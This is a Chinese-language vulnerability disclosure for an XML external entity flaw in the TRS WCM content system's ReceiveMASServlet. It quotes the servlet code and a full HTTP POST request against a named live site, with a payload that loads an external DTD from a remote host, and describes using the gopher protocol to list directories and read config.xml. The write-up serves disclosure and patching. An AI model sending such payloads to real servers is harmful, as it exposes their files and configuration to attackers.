### 简要描述：
貌似是后续更新的时候添加的一个功能，通杀较新版本。
### 详细说明：
其实还是XML实体注入，不过这次是用的DOM解析XML。
web.xml中配置的Servlet ReceiveMASServlet：
```
<servlet>
<servlet-name>ReceiveMASServlet</servlet-name>
<servlet-class>com.trs.components.video.ReceiveMASServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ReceiveMASServlet</servlet-name>
<url-pattern>/app/video/ReceiveMASServlet</url-pattern>
</servlet-mapping>
```
对应的com/trscomponents/video/ReceiveMASServlet.java代码如下：
```
protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String event = request.getParameter("event");
String string = request.getParameter("pushInfo");
LOG.info("push event: " + event);
LOG.info("push pushInfo: " + string);
if (string != null)
{
Element root = SimpleConsoleLogger.parserXml(string);//解析XML入口
if (root.element("time") != null || "time".equals(root.element("time")))
{
```
获取pushInfo参数的数值，然后SimpleConsoleLogger.parserXml()解析XML，方法如下：
```
public static Element parserXml(String fileName)
{
Element root = null;
try {
System.out.println("filename:" + fileName);
Document document = DocumentHelper.parseText(fileName);//DOM解析XML
root = document.getRootElement();
}
catch (DocumentException e)
{
e.printStackTrace();
}
return root;
}
```
以上调用DocumentHelper.parseText()解析XML。
同样的还是burpsuite直接发送以下包：
```
POST /wcm/app/video/ReceiveMASServlet HTTP/1.1
Host: cms.ce.cn
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=70C0A254A8662618477A7C2C709C614A
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
pushInfo=<!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//ip/1.xml">%25remote%3b]>
```
由于trswcm默认jdk是<1.7的所以在1.xml中用gopher协议控制读取文件列目录等操作，以cms.ce.cn为例进行测试，列目录：
[<img src="https://images.seebug.org/upload/201510/102342261e75937457bf3977186290bbe1f72884.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/102342261e75937457bf3977186290bbe1f72884.png)
读取文件config.xml：
[<img src="https://images.seebug.org/upload/201510/10234718214b174cc38abc1b1bd696cc7d639169.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/10234718214b174cc38abc1b1bd696cc7d639169.png)
### 漏洞证明：
同上
京公网安备 11010502034610号
暂无评论